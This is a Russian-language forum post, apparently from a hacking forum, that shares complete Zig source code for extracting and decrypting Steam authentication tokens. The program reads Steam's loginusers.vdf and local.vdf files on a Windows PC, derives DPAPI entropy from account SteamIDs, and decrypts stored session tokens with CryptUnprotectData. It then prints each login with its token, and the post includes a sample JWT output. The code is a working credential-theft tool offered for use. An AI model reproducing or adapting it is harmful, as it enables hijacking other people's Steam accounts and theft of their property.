- Статус
- Оффлайн
- Регистрация
- 27 Мар 2026
- Сообщения
- 99
- Реакции
- 5
Программа для декрипта токена авторизации аккаунта Steam.
Для получения токена программа должна быть запущена на ПК, с которого происходил вход в аккаунт (запуск должен производится от имени пользователя, с помощью которого токен был сгенерирован, для соответственно его правильной дешифровки)
Для сборки нужен Zig 0.15.2
Короче как-то так
Для получения токена программа должна быть запущена на ПК, с которого происходил вход в аккаунт (запуск должен производится от имени пользователя, с помощью которого токен был сгенерирован, для соответственно его правильной дешифровки)
Для сборки нужен Zig 0.15.2
Короче как-то так

steam.zig:
const std = @import("std");
const win = std.os.windows;
const Blob = extern struct { cbData: win.DWORD, pbData: [*]u8 };
extern "crypt32" fn CryptUnprotectData(*const Blob, ?*win.LPWSTR, *const Blob, ?*anyopaque, ?*anyopaque, win.DWORD, *Blob) callconv(.winapi) win.INT;
extern "kernel32" fn LocalFree(win.HLOCAL) callconv(.winapi) ?win.HANDLE;
pub const Entry = struct { name: []const u8, login: []const u8, salt: []const u8 };
pub fn getSalts(allocator: std.mem.Allocator) !std.ArrayListUnmanaged(Entry) {
var entries = std.ArrayListUnmanaged(Entry){};
const file = std.fs.openFileAbsolute("C:\\Program Files (x86)\\Steam\\config\\loginusers.vdf", .{}) catch return entries;
defer file.close();
const content = try file.readToEndAlloc(allocator, 1024 * 1024);
defer allocator.free(content);
var it = std.mem.tokenizeAny(u8, content, "\r\n\t ");
var sid: ?[]const u8 = null;
var name: ?[]const u8 = null;
var login: ?[]const u8 = null;
while (it.next()) |t| {
const c = std.mem.trim(u8, t, "\"");
if (c.len == 17 and std.ascii.isDigit(c[0])) sid = c;
if (std.mem.eql(u8, c, "AccountName")) name = std.mem.trim(u8, it.next() orelse "", "\"");
if (std.mem.eql(u8, c, "PersonaName")) login = std.mem.trim(u8, it.next() orelse "", "\"");
if (sid != null and name != null and login != null) {
try entries.append(allocator, .{
.name = try allocator.dupe(u8, name.?),
.login = try allocator.dupe(u8, login.?),
.salt = try std.fmt.allocPrint(allocator, "user_{s}", .{sid.?[sid.?.len - 6 ..]}),
});
sid = null; name = null; login = null;
}
}
return entries;
}
pub fn decrypt(alloc: std.mem.Allocator, hex: []const u8, salt: []const u8) ![]u8 {
const len = hex.len / 2;
const bin = try alloc.alloc(u8, len);
defer alloc.free(bin);
for (0..len) |i| bin[i] = std.fmt.parseInt(u8, hex[i * 2 .. i * 2 + 2], 16) catch return error.DecryptionFailed;
var out: Blob = undefined;
const in = Blob{ .cbData = @intCast(len), .pbData = bin.ptr };
const ent = Blob{ .cbData = @intCast(salt.len), .pbData = @constCast(salt.ptr) };
if (CryptUnprotectData(&in, null, &ent, null, null, 0, &out) == 0) return error.DecryptionFailed;
defer _ = LocalFree(out.pbData);
return alloc.dupe(u8, out.pbData[0..out.cbData]);
}
main.zig:
const std = @import("std");
const ss = @import("steam.zig");
pub fn main() !void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
const alloc = gpa.allocator();
var accounts = try ss.getSalts(alloc);
defer {
for (accounts.items) |a| {
alloc.free(a.name);
alloc.free(a.login);
alloc.free(a.salt);
}
accounts.deinit(alloc);
}
const env = try std.process.getEnvVarOwned(alloc, "USERNAME");
defer alloc.free(env);
const path = try std.fmt.allocPrint(alloc, "C:\\Users\\{s}\\AppData\\Local\\Steam\\local.vdf", .{env});
defer alloc.free(path);
const file = std.fs.openFileAbsolute(path, .{ .mode = .read_only }) catch return;
defer file.close();
const content = try file.readToEndAlloc(alloc, 1024 * 1024);
defer alloc.free(content);
var i: usize = 0;
while (i < content.len) : (i += 1) {
if (!std.ascii.isHex(content[i])) continue;
const start = i;
while (i < content.len and std.ascii.isHex(content[i])) i += 1;
const token = content[start..i];
for (accounts.items) |a| {
for ([_][]const u8{ a.name, a.salt }) |s| {
if (ss.decrypt(alloc, token, s)) |dec| {
defer alloc.free(dec);
std.debug.print("{s}:{s}:{s}\n", .{ a.login, a.name, dec });
return;
} else |_| {}
}
}
}
}
Output example:
// AccountName (nickname), PersonaName (login), token
olo:asphyxean:eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0.eyA...YBw
Пожалуйста, авторизуйтесь для просмотра ссылки.
Вложения
Последнее редактирование: